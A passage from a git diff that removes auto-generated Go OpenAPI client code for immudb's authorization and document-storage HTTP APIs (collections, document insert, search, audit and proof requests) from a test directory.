= 2; -// } -// -// { -// "@type": "type.googleapis.com/google.profile.Person", -// "firstName": , -// "lastName": -// } -// -// If the embedded message type is well-known and has a custom JSON -// representation, that representation will be embedded adding a field -// `value` which holds the custom JSON in addition to the `@type` -// field. Example (for message [google.protobuf.Duration][]): -// -// { -// "@type": "type.googleapis.com/google.protobuf.Duration", -// "value": "1.212s" -// } -type ProtobufAny struct { - // TypeUrl A URL/resource name that uniquely identifies the type of the serialized - // protocol buffer message. This string must contain at least - // one "/" character. The last segment of the URL's path must represent - // the fully qualified name of the type (as in - // `path/google.protobuf.Duration`). The name should be in a canonical form - // (e.g., leading "." is not accepted). - // - // In practice, teams usually precompile into the binary all types that they - // expect it to use in the context of Any. However, for URLs which use the - // scheme `http`, `https`, or no scheme, one can optionally set up a type - // server that maps type URLs to message definitions as follows: - // - // * If no scheme is provided, `https` is assumed. - // * An HTTP GET on the URL must yield a [google.protobuf.Type][] - // value in binary format, or produce an error. - // * Applications are allowed to cache lookup results based on the - // URL, or have them precompiled into a binary to avoid any - // lookup. Therefore, binary compatibility needs to be preserved - // on changes to types. (Use versioned type names to manage - // breaking changes.) - // - // Note: this functionality is not currently available in the official - // protobuf release, and it is not used for type URLs beginning with - // type.googleapis.com. - // - // Schemes other than `http`, `https` (or the empty scheme) might be - // used with implementation specific semantics. - TypeUrl *string `json:"type_url,omitempty"` - - // Value Must be a valid serialized protocol buffer of the above specified type. - Value *[]byte `json:"value,omitempty"` -} - -// RuntimeError defines model for runtimeError. -type RuntimeError struct { - Code *int32 `json:"code,omitempty"` - Details *[]ProtobufAny `json:"details,omitempty"` - Error *string `json:"error,omitempty"` - Message *string `json:"message,omitempty"` -} - -// AuthorizationServiceOpenSessionV2JSONRequestBody defines body for AuthorizationServiceOpenSessionV2 for application/json ContentType. -type AuthorizationServiceOpenSessionV2JSONRequestBody = AuthorizationschemaOpenSessionRequestV2 - -// RequestEditorFn is the function signature for the RequestEditor callback function -type RequestEditorFn func(ctx context.Context, req *http.Request) error - -// Doer performs HTTP requests. -// -// The standard http.Client implements this interface. -type HttpRequestDoer interface { - Do(req *http.Request) (*http.Response, error) -} - -// Client which conforms to the OpenAPI3 specification for this service. -type Client struct { - // The endpoint of the server conforming to this interface, with scheme, - // https://api.deepmap.com for example. This can contain a path relative - // to the server, such as https://api.deepmap.com/dev-test, and all the - // paths in the swagger spec will be appended to the server. - Server string - - // Doer for performing requests, typically a *http.Client with any - // customized settings, such as certificate chains. - Client HttpRequestDoer - - // A list of callbacks for modifying requests which are generated before sending over - // the network. - RequestEditors []RequestEditorFn -} - -// ClientOption allows setting custom parameters during construction -type ClientOption func(*Client) error - -// Creates a new Client, with reasonable defaults -func NewClient(server string, opts ...ClientOption) (*Client, error) { - // create a client with sane default values - client := Client{ - Server: server, - } - // mutate client and add all optional params - for _, o := range opts { - if err := o(&client); err != nil { - return nil, err - } - } - // ensure the server URL always has a trailing slash - if !strings.HasSuffix(client.Server, "/") { - client.Server += "/" - } - // create httpClient, if not already present - if client.Client == nil { - client.Client = &http.Client{} - } - return &client, nil -} - -// WithHTTPClient allows overriding the default Doer, which is -// automatically created using http.Client. This is useful for tests. -func WithHTTPClient(doer HttpRequestDoer) ClientOption { - return func(c *Client) error { - c.Client = doer - return nil - } -} - -// WithRequestEditorFn allows setting up a callback function, which will be -// called right before sending the request. This can be used to mutate the request. -func WithRequestEditorFn(fn RequestEditorFn) ClientOption { - return func(c *Client) error { - c.RequestEditors = append(c.RequestEditors, fn) - return nil - } -} - -// The interface specification for the client above. -type ClientInterface interface { - // AuthorizationServiceOpenSessionV2 request with any body - AuthorizationServiceOpenSessionV2WithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - AuthorizationServiceOpenSessionV2(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) -} - -func (c *Client) AuthorizationServiceOpenSessionV2WithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuthorizationServiceOpenSessionV2RequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) AuthorizationServiceOpenSessionV2(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuthorizationServiceOpenSessionV2Request(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -// NewAuthorizationServiceOpenSessionV2Request calls the generic AuthorizationServiceOpenSessionV2 builder with application/json body -func NewAuthorizationServiceOpenSessionV2Request(server string, body AuthorizationServiceOpenSessionV2JSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewAuthorizationServiceOpenSessionV2RequestWithBody(server, "application/json", bodyReader) -} - -// NewAuthorizationServiceOpenSessionV2RequestWithBody generates requests for AuthorizationServiceOpenSessionV2 with any type of body -func NewAuthorizationServiceOpenSessionV2RequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error - - serverURL, err := url.Parse(server) - if err != nil { - return nil, err - } - - operationPath := fmt.Sprintf("/authorization/session/open") - if operationPath[0] == '/' { - operationPath = "." + operationPath - } - - queryURL, err := serverURL.Parse(operationPath) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", queryURL.String(), body) - if err != nil { - return nil, err - } - - req.Header.Add("Content-Type", contentType) - - return req, nil -} - -func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { - for _, r := range c.RequestEditors { - if err := r(ctx, req); err != nil { - return err - } - } - for _, r := range additionalEditors { - if err := r(ctx, req); err != nil { - return err - } - } - return nil -} - -// ClientWithResponses builds on ClientInterface to offer response payloads -type ClientWithResponses struct { - ClientInterface -} - -// NewClientWithResponses creates a new ClientWithResponses, which wraps -// Client with return type handling -func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { - client, err := NewClient(server, opts...) - if err != nil { - return nil, err - } - return &ClientWithResponses{client}, nil -} - -// WithBaseURL overrides the baseURL. -func WithBaseURL(baseURL string) ClientOption { - return func(c *Client) error { - newBaseURL, err := url.Parse(baseURL) - if err != nil { - return err - } - c.Server = newBaseURL.String() - return nil - } -} - -// ClientWithResponsesInterface is the interface specification for the client with responses above. -type ClientWithResponsesInterface interface { - // AuthorizationServiceOpenSessionV2 request with any body - AuthorizationServiceOpenSessionV2WithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) - - AuthorizationServiceOpenSessionV2WithResponse(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) -} - -type AuthorizationServiceOpenSessionV2Response struct { - Body []byte - HTTPResponse *http.Response - JSON200 *AuthorizationschemaOpenSessionResponseV2 - JSONDefault *RuntimeError -} - -// Status returns HTTPResponse.Status -func (r AuthorizationServiceOpenSessionV2Response) Status() string { - if r.HTTPResponse != nil { - return r.HTTPResponse.Status - } - return http.StatusText(0) -} - -// StatusCode returns HTTPResponse.StatusCode -func (r AuthorizationServiceOpenSessionV2Response) StatusCode() int { - if r.HTTPResponse != nil { - return r.HTTPResponse.StatusCode - } - return 0 -} - -// AuthorizationServiceOpenSessionV2WithBodyWithResponse request with arbitrary body returning *AuthorizationServiceOpenSessionV2Response -func (c *ClientWithResponses) AuthorizationServiceOpenSessionV2WithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) { - rsp, err := c.AuthorizationServiceOpenSessionV2WithBody(ctx, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseAuthorizationServiceOpenSessionV2Response(rsp) -} - -func (c *ClientWithResponses) AuthorizationServiceOpenSessionV2WithResponse(ctx context.Context, body AuthorizationServiceOpenSessionV2JSONRequestBody, reqEditors ...RequestEditorFn) (*AuthorizationServiceOpenSessionV2Response, error) { - rsp, err := c.AuthorizationServiceOpenSessionV2(ctx, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseAuthorizationServiceOpenSessionV2Response(rsp) -} - -// ParseAuthorizationServiceOpenSessionV2Response parses an HTTP response from a AuthorizationServiceOpenSessionV2WithResponse call -func ParseAuthorizationServiceOpenSessionV2Response(rsp *http.Response) (*AuthorizationServiceOpenSessionV2Response, error) { - bodyBytes, err := io.ReadAll(rsp.Body) - defer func() { _ = rsp.Body.Close() }() - if err != nil { - return nil, err - } - - response := &AuthorizationServiceOpenSessionV2Response{ - Body: bodyBytes, - HTTPResponse: rsp, - } - - switch { - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest AuthorizationschemaOpenSessionResponseV2 - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSON200 = &dest - - case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: - var dest RuntimeError - if err := json.Unmarshal(bodyBytes, &dest); err != nil { - return nil, err - } - response.JSONDefault = &dest - - } - - return response, nil -} diff --git a/test/document_storage_tests/immudbhttpclient/immudbdocuments/documentsclient.go b/test/document_storage_tests/immudbhttpclient/immudbdocuments/documentsclient.go deleted file mode 100644 index 73b912ec61..0000000000 --- a/test/document_storage_tests/immudbhttpclient/immudbdocuments/documentsclient.go +++ /dev/null @@ -1,1692 +0,0 @@ -// Package immudbdocuments provides primitives to interact with the openapi HTTP API. -// -// Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. -package immudbdocuments - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io" - "net/http" - "net/url" - "strings" - - "github.com/deepmap/oapi-codegen/pkg/runtime" -) - -const ( - BearerScopes = "bearer.Scopes" -) - -// Defines values for DocumentschemaIndexType. -const ( - DOUBLE DocumentschemaIndexType = "DOUBLE" - INTEGER DocumentschemaIndexType = "INTEGER" - STRING DocumentschemaIndexType = "STRING" -) - -// Defines values for DocumentschemaQueryOperator. -const ( - EQ DocumentschemaQueryOperator = "EQ" - GT DocumentschemaQueryOperator = "GT" - GTE DocumentschemaQueryOperator = "GTE" - LIKE DocumentschemaQueryOperator = "LIKE" - LT DocumentschemaQueryOperator = "LT" - LTE DocumentschemaQueryOperator = "LTE" -) - -// DocumentschemaCollectionCreateRequest defines model for documentschemaCollectionCreateRequest. -type DocumentschemaCollectionCreateRequest struct { - IndexKeys *map[string]DocumentschemaIndexOption `json:"indexKeys,omitempty"` - Name *string `json:"name,omitempty"` - PrimaryKeys *map[string]DocumentschemaIndexOption `json:"primaryKeys,omitempty"` -} - -// DocumentschemaCollectionCreateResponse defines model for documentschemaCollectionCreateResponse. -type DocumentschemaCollectionCreateResponse struct { - Collection *DocumentschemaCollectionInformation `json:"collection,omitempty"` -} - -// DocumentschemaCollectionDeleteResponse defines model for documentschemaCollectionDeleteResponse. -type DocumentschemaCollectionDeleteResponse = map[string]interface{} - -// DocumentschemaCollectionGetResponse defines model for documentschemaCollectionGetResponse. -type DocumentschemaCollectionGetResponse struct { - Collection *DocumentschemaCollectionInformation `json:"collection,omitempty"` -} - -// DocumentschemaCollectionInformation defines model for documentschemaCollectionInformation. -type DocumentschemaCollectionInformation struct { - IndexKeys *map[string]DocumentschemaIndexOption `json:"indexKeys,omitempty"` - Name *string `json:"name,omitempty"` - PrimaryKeys *map[string]DocumentschemaIndexOption `json:"primaryKeys,omitempty"` -} - -// DocumentschemaCollectionListRequest defines model for documentschemaCollectionListRequest. -type DocumentschemaCollectionListRequest = map[string]interface{} - -// DocumentschemaCollectionListResponse defines model for documentschemaCollectionListResponse. -type DocumentschemaCollectionListResponse struct { - Collections *[]DocumentschemaCollectionInformation `json:"collections,omitempty"` -} - -// DocumentschemaDocumentAudit defines model for documentschemaDocumentAudit. -type DocumentschemaDocumentAudit struct { - TransactionID *string `json:"transactionID,omitempty"` - Value *map[string]interface{} `json:"value,omitempty"` -} - -// DocumentschemaDocumentAuditRequest defines model for documentschemaDocumentAuditRequest. -type DocumentschemaDocumentAuditRequest struct { - Collection *string `json:"collection,omitempty"` - Page *int64 `json:"page,omitempty"` - PerPage *int64 `json:"perPage,omitempty"` - PrimaryKeys *map[string]DocumentschemaIndexValue `json:"primaryKeys,omitempty"` -} - -// DocumentschemaDocumentAuditResponse defines model for documentschemaDocumentAuditResponse. -type DocumentschemaDocumentAuditResponse struct { - EntriesLeft *int64 `json:"entriesLeft,omitempty"` - Page *int64 `json:"page,omitempty"` - PerPage *int64 `json:"perPage,omitempty"` - Results *[]DocumentschemaDocumentAudit `json:"results,omitempty"` -} - -// DocumentschemaDocumentInsertRequest defines model for documentschemaDocumentInsertRequest. -type DocumentschemaDocumentInsertRequest struct { - Collection *string `json:"collection,omitempty"` - Document *[]map[string]interface{} `json:"document,omitempty"` -} - -// DocumentschemaDocumentInsertResponse defines model for documentschemaDocumentInsertResponse. -type DocumentschemaDocumentInsertResponse struct { - Proof *SchemaVerifiableTx `json:"proof,omitempty"` -} - -// DocumentschemaDocumentProofRequest defines model for documentschemaDocumentProofRequest. -type DocumentschemaDocumentProofRequest struct { - AtRevision *string `json:"atRevision,omitempty"` - Collection *string `json:"collection,omitempty"` - PrimaryKeys *map[string]DocumentschemaIndexValue `json:"primaryKeys,omitempty"` -} - -// DocumentschemaDocumentProofResponse defines model for documentschemaDocumentProofResponse. -type DocumentschemaDocumentProofResponse struct { - Proof *SchemaVerifiableTx `json:"proof,omitempty"` -} - -// DocumentschemaDocumentQuery defines model for documentschemaDocumentQuery. -type DocumentschemaDocumentQuery struct { - Field *string `json:"field,omitempty"` - Operator *DocumentschemaQueryOperator `json:"operator,omitempty"` - Value *string `json:"value,omitempty"` -} - -// DocumentschemaDocumentSearchRequest defines model for documentschemaDocumentSearchRequest. -type DocumentschemaDocumentSearchRequest struct { - Collection *string `json:"collection,omitempty"` - Page *int64 `json:"page,omitempty"` - PerPage *int64 `json:"perPage,omitempty"` - Query *[]DocumentschemaDocumentQuery `json:"query,omitempty"` -} - -// DocumentschemaDocumentSearchResponse defines model for documentschemaDocumentSearchResponse. -type DocumentschemaDocumentSearchResponse struct { - EntriesLeft *int64 `json:"entriesLeft,omitempty"` - Page *int64 `json:"page,omitempty"` - PerPage *int64 `json:"perPage,omitempty"` - Results *[]map[string]interface{} `json:"results,omitempty"` -} - -// DocumentschemaIndexOption defines model for documentschemaIndexOption. -type DocumentschemaIndexOption struct { - Type *DocumentschemaIndexType `json:"type,omitempty"` -} - -// DocumentschemaIndexType defines model for documentschemaIndexType. -type DocumentschemaIndexType string - -// DocumentschemaIndexValue defines model for documentschemaIndexValue. -type DocumentschemaIndexValue struct { - BoolValue *bool `json:"bool_value,omitempty"` - NullValue *string `json:"null_value,omitempty"` - NumberValue *float64 `json:"number_value,omitempty"` - StringValue *string `json:"string_value,omitempty"` -} - -// DocumentschemaQueryOperator defines model for documentschemaQueryOperator. -type DocumentschemaQueryOperator string - -// ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a -// URL that describes the type of the serialized message. -// -// Protobuf library provides support to pack/unpack Any values in the form -// of utility functions or additional generated methods of the Any type. -// -// Example 1: Pack and unpack a message in C++. -// -// Foo foo = ...; -// Any any; -// any.PackFrom(foo); -// ... -// if (any.UnpackTo(&foo)) { -// ... -// } -// -// Example 2: Pack and unpack a message in Java. -// -// Foo foo = ...; -// Any any = Any.pack(foo); -// ... -// if (any.is(Foo.class)) { -// foo = any.unpack(Foo.class); -// } -// -// Example 3: Pack and unpack a message in Python. -// -// foo = Foo(...) -// any = Any() -// any.Pack(foo) -// ... -// if any.Is(Foo.DESCRIPTOR): -// any.Unpack(foo) -// ... -// -// Example 4: Pack and unpack a message in Go -// -// foo := &pb.Foo{...} -// any, err := ptypes.MarshalAny(foo) -// ... -// foo := &pb.Foo{} -// if err := ptypes.UnmarshalAny(any, foo); err != nil { -// ... -// } -// -// The pack methods provided by protobuf library will by default use -// 'type.googleapis.com/full.type.name' as the type URL and the unpack -// methods only use the fully qualified type name after the last '/' -// in the type URL, for example "foo.bar.com/x/y.z" will yield type -// name "y.z". -// -// JSON -// ==== -// The JSON representation of an `Any` value uses the regular -// representation of the deserialized, embedded message, with an -// additional field `@type` which contains the type URL. Example: -// -// package google.profile; -// message Person { -// string first_name = 1; -// string last_name = 2; -// } -// -// { -// "@type": "type.googleapis.com/google.profile.Person", -// "firstName": , -// "lastName": -// } -// -// If the embedded message type is well-known and has a custom JSON -// representation, that representation will be embedded adding a field -// `value` which holds the custom JSON in addition to the `@type` -// field. Example (for message [google.protobuf.Duration][]): -// -// { -// "@type": "type.googleapis.com/google.protobuf.Duration", -// "value": "1.212s" -// } -type ProtobufAny struct { - // TypeUrl A URL/resource name that uniquely identifies the type of the serialized - // protocol buffer message. This string must contain at least - // one "/" character. The last segment of the URL's path must represent - // the fully qualified name of the type (as in - // `path/google.protobuf.Duration`). The name should be in a canonical form - // (e.g., leading "." is not accepted). - // - // In practice, teams usually precompile into the binary all types that they - // expect it to use in the context of Any. However, for URLs which use the - // scheme `http`, `https`, or no scheme, one can optionally set up a type - // server that maps type URLs to message definitions as follows: - // - // * If no scheme is provided, `https` is assumed. - // * An HTTP GET on the URL must yield a [google.protobuf.Type][] - // value in binary format, or produce an error. - // * Applications are allowed to cache lookup results based on the - // URL, or have them precompiled into a binary to avoid any - // lookup. Therefore, binary compatibility needs to be preserved - // on changes to types. (Use versioned type names to manage - // breaking changes.) - // - // Note: this functionality is not currently available in the official - // protobuf release, and it is not used for type URLs beginning with - // type.googleapis.com. - // - // Schemes other than `http`, `https` (or the empty scheme) might be - // used with implementation specific semantics. - TypeUrl *string `json:"type_url,omitempty"` - - // Value Must be a valid serialized protocol buffer of the above specified type. - Value *[]byte `json:"value,omitempty"` -} - -// RuntimeError defines model for runtimeError. -type RuntimeError struct { - Code *int32 `json:"code,omitempty"` - Details *[]ProtobufAny `json:"details,omitempty"` - Error *string `json:"error,omitempty"` - Message *string `json:"message,omitempty"` -} - -// SchemaDualProof defines model for schemaDualProof. -type SchemaDualProof struct { - LinearAdvanceProof *SchemaLinearAdvanceProof `json:"LinearAdvanceProof,omitempty"` - ConsistencyProof *[][]byte `json:"consistencyProof,omitempty"` - InclusionProof *[][]byte `json:"inclusionProof,omitempty"` - LastInclusionProof *[][]byte `json:"lastInclusionProof,omitempty"` - LinearProof *SchemaLinearProof `json:"linearProof,omitempty"` - SourceTxHeader *SchemaTxHeader `json:"sourceTxHeader,omitempty"` - TargetBlTxAlh *[]byte `json:"targetBlTxAlh,omitempty"` - TargetTxHeader *SchemaTxHeader `json:"targetTxHeader,omitempty"` -} - -// SchemaEntry defines model for schemaEntry. -type SchemaEntry struct { - Expired *bool `json:"expired,omitempty"` - Key *[]byte `json:"key,omitempty"` - Metadata *SchemaKVMetadata `json:"metadata,omitempty"` - ReferencedBy *SchemaReference `json:"referencedBy,omitempty"` - Revision *string `json:"revision,omitempty"` - Tx *string `json:"tx,omitempty"` - Value *[]byte `json:"value,omitempty"` -} - -// SchemaExpiration defines model for schemaExpiration. -type SchemaExpiration struct { - ExpiresAt *string `json:"expiresAt,omitempty"` -} - -// SchemaInclusionProof defines model for schemaInclusionProof. -type SchemaInclusionProof struct { - Leaf *int32 `json:"leaf,omitempty"` - Terms *[][]byte `json:"terms,omitempty"` - Width *int32 `json:"width,omitempty"` -} - -// SchemaKVMetadata defines model for schemaKVMetadata. -type SchemaKVMetadata struct { - Deleted *bool `json:"deleted,omitempty"` - Expiration *SchemaExpiration `json:"expiration,omitempty"` - NonIndexable *bool `json:"nonIndexable,omitempty"` -} - -// SchemaLinearAdvanceProof defines model for schemaLinearAdvanceProof. -type SchemaLinearAdvanceProof struct { - InclusionProofs *[]SchemaInclusionProof `json:"inclusionProofs,omitempty"` - LinearProofTerms *[][]byte `json:"linearProofTerms,omitempty"` -} - -// SchemaLinearProof defines model for schemaLinearProof. -type SchemaLinearProof struct { - TargetTxId *string `json:"TargetTxId,omitempty"` - SourceTxId *string `json:"sourceTxId,omitempty"` - Terms *[][]byte `json:"terms,omitempty"` -} - -// SchemaReference defines model for schemaReference. -type SchemaReference struct { - AtTx *string `json:"atTx,omitempty"` - Key *[]byte `json:"key,omitempty"` - Metadata *SchemaKVMetadata `json:"metadata,omitempty"` - Revision *string `json:"revision,omitempty"` - Tx *string `json:"tx,omitempty"` -} - -// SchemaSignature defines model for schemaSignature. -type SchemaSignature struct { - PublicKey *[]byte `json:"publicKey,omitempty"` - Signature *[]byte `json:"signature,omitempty"` -} - -// SchemaTx defines model for schemaTx. -type SchemaTx struct { - Entries *[]SchemaTxEntry `json:"entries,omitempty"` - Header *SchemaTxHeader `json:"header,omitempty"` - KvEntries *[]SchemaEntry `json:"kvEntries,omitempty"` - ZEntries *[]SchemaZEntry `json:"zEntries,omitempty"` -} - -// SchemaTxEntry defines model for schemaTxEntry. -type SchemaTxEntry struct { - HValue *[]byte `json:"hValue,omitempty"` - Key *[]byte `json:"key,omitempty"` - Metadata *SchemaKVMetadata `json:"metadata,omitempty"` - VLen *int32 `json:"vLen,omitempty"` - - // Value value, must be ignored when len(value) == 0 and vLen > 0. - // Otherwise sha256(value) must be equal to hValue. - Value *[]byte `json:"value,omitempty"` -} - -// SchemaTxHeader defines model for schemaTxHeader. -type SchemaTxHeader struct { - BlRoot *[]byte `json:"blRoot,omitempty"` - BlTxId *string `json:"blTxId,omitempty"` - EH *[]byte `json:"eH,omitempty"` - Id *string `json:"id,omitempty"` - Metadata *SchemaTxMetadata `json:"metadata,omitempty"` - Nentries *int32 `json:"nentries,omitempty"` - PrevAlh *[]byte `json:"prevAlh,omitempty"` - Ts *string `json:"ts,omitempty"` - Version *int32 `json:"version,omitempty"` -} - -// SchemaTxMetadata defines model for schemaTxMetadata. -type SchemaTxMetadata struct { - TruncatedTxID *string `json:"truncatedTxID,omitempty"` -} - -// SchemaVerifiableTx defines model for schemaVerifiableTx. -type SchemaVerifiableTx struct { - DualProof *SchemaDualProof `json:"dualProof,omitempty"` - Signature *SchemaSignature `json:"signature,omitempty"` - Tx *SchemaTx `json:"tx,omitempty"` -} - -// SchemaZEntry defines model for schemaZEntry. -type SchemaZEntry struct { - AtTx *string `json:"atTx,omitempty"` - Entry *SchemaEntry `json:"entry,omitempty"` - Key *[]byte `json:"key,omitempty"` - Score *float64 `json:"score,omitempty"` - Set *[]byte `json:"set,omitempty"` -} - -// DocumentServiceCollectionDeleteParams defines parameters for DocumentServiceCollectionDelete. -type DocumentServiceCollectionDeleteParams struct { - Name *string `form:"name,omitempty" json:"name,omitempty"` -} - -// DocumentServiceCollectionGetParams defines parameters for DocumentServiceCollectionGet. -type DocumentServiceCollectionGetParams struct { - Name *string `form:"name,omitempty" json:"name,omitempty"` -} - -// DocumentServiceCollectionCreateJSONRequestBody defines body for DocumentServiceCollectionCreate for application/json ContentType. -type DocumentServiceCollectionCreateJSONRequestBody = DocumentschemaCollectionCreateRequest - -// DocumentServiceCollectionListJSONRequestBody defines body for DocumentServiceCollectionList for application/json ContentType. -type DocumentServiceCollectionListJSONRequestBody = DocumentschemaCollectionListRequest - -// DocumentServiceDocumentAuditJSONRequestBody defines body for DocumentServiceDocumentAudit for application/json ContentType. -type DocumentServiceDocumentAuditJSONRequestBody = DocumentschemaDocumentAuditRequest - -// DocumentServiceDocumentInsertJSONRequestBody defines body for DocumentServiceDocumentInsert for application/json ContentType. -type DocumentServiceDocumentInsertJSONRequestBody = DocumentschemaDocumentInsertRequest - -// DocumentServiceDocumentProofJSONRequestBody defines body for DocumentServiceDocumentProof for application/json ContentType. -type DocumentServiceDocumentProofJSONRequestBody = DocumentschemaDocumentProofRequest - -// DocumentServiceDocumentSearchJSONRequestBody defines body for DocumentServiceDocumentSearch for application/json ContentType. -type DocumentServiceDocumentSearchJSONRequestBody = DocumentschemaDocumentSearchRequest - -// RequestEditorFn is the function signature for the RequestEditor callback function -type RequestEditorFn func(ctx context.Context, req *http.Request) error - -// Doer performs HTTP requests. -// -// The standard http.Client implements this interface. -type HttpRequestDoer interface { - Do(req *http.Request) (*http.Response, error) -} - -// Client which conforms to the OpenAPI3 specification for this service. -type Client struct { - // The endpoint of the server conforming to this interface, with scheme, - // https://api.deepmap.com for example. This can contain a path relative - // to the server, such as https://api.deepmap.com/dev-test, and all the - // paths in the swagger spec will be appended to the server. - Server string - - // Doer for performing requests, typically a *http.Client with any - // customized settings, such as certificate chains. - Client HttpRequestDoer - - // A list of callbacks for modifying requests which are generated before sending over - // the network. - RequestEditors []RequestEditorFn -} - -// ClientOption allows setting custom parameters during construction -type ClientOption func(*Client) error - -// Creates a new Client, with reasonable defaults -func NewClient(server string, opts ...ClientOption) (*Client, error) { - // create a client with sane default values - client := Client{ - Server: server, - } - // mutate client and add all optional params - for _, o := range opts { - if err := o(&client); err != nil { - return nil, err - } - } - // ensure the server URL always has a trailing slash - if !strings.HasSuffix(client.Server, "/") { - client.Server += "/" - } - // create httpClient, if not already present - if client.Client == nil { - client.Client = &http.Client{} - } - return &client, nil -} - -// WithHTTPClient allows overriding the default Doer, which is -// automatically created using http.Client. This is useful for tests. -func WithHTTPClient(doer HttpRequestDoer) ClientOption { - return func(c *Client) error { - c.Client = doer - return nil - } -} - -// WithRequestEditorFn allows setting up a callback function, which will be -// called right before sending the request. This can be used to mutate the request. -func WithRequestEditorFn(fn RequestEditorFn) ClientOption { - return func(c *Client) error { - c.RequestEditors = append(c.RequestEditors, fn) - return nil - } -} - -// The interface specification for the client above. -type ClientInterface interface { - // DocumentServiceCollectionCreate request with any body - DocumentServiceCollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DocumentServiceCollectionCreate(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceCollectionDelete request - DocumentServiceCollectionDelete(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceCollectionGet request - DocumentServiceCollectionGet(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceCollectionList request with any body - DocumentServiceCollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DocumentServiceCollectionList(ctx context.Context, body DocumentServiceCollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceDocumentAudit request with any body - DocumentServiceDocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DocumentServiceDocumentAudit(ctx context.Context, body DocumentServiceDocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceDocumentInsert request with any body - DocumentServiceDocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DocumentServiceDocumentInsert(ctx context.Context, body DocumentServiceDocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceDocumentProof request with any body - DocumentServiceDocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DocumentServiceDocumentProof(ctx context.Context, body DocumentServiceDocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // DocumentServiceDocumentSearch request with any body - DocumentServiceDocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - DocumentServiceDocumentSearch(ctx context.Context, body DocumentServiceDocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) -} - -func (c *Client) DocumentServiceCollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceCollectionCreateRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceCollectionCreate(ctx context.Context, body DocumentServiceCollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceCollectionCreateRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceCollectionDelete(ctx context.Context, params *DocumentServiceCollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceCollectionDeleteRequest(c.Server, params) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceCollectionGet(ctx context.Context, params *DocumentServiceCollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentServiceCollectionGetRequest(c.Server, params) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) DocumentServiceCollectionListWithBody(ctx context.Context, contentType string, body 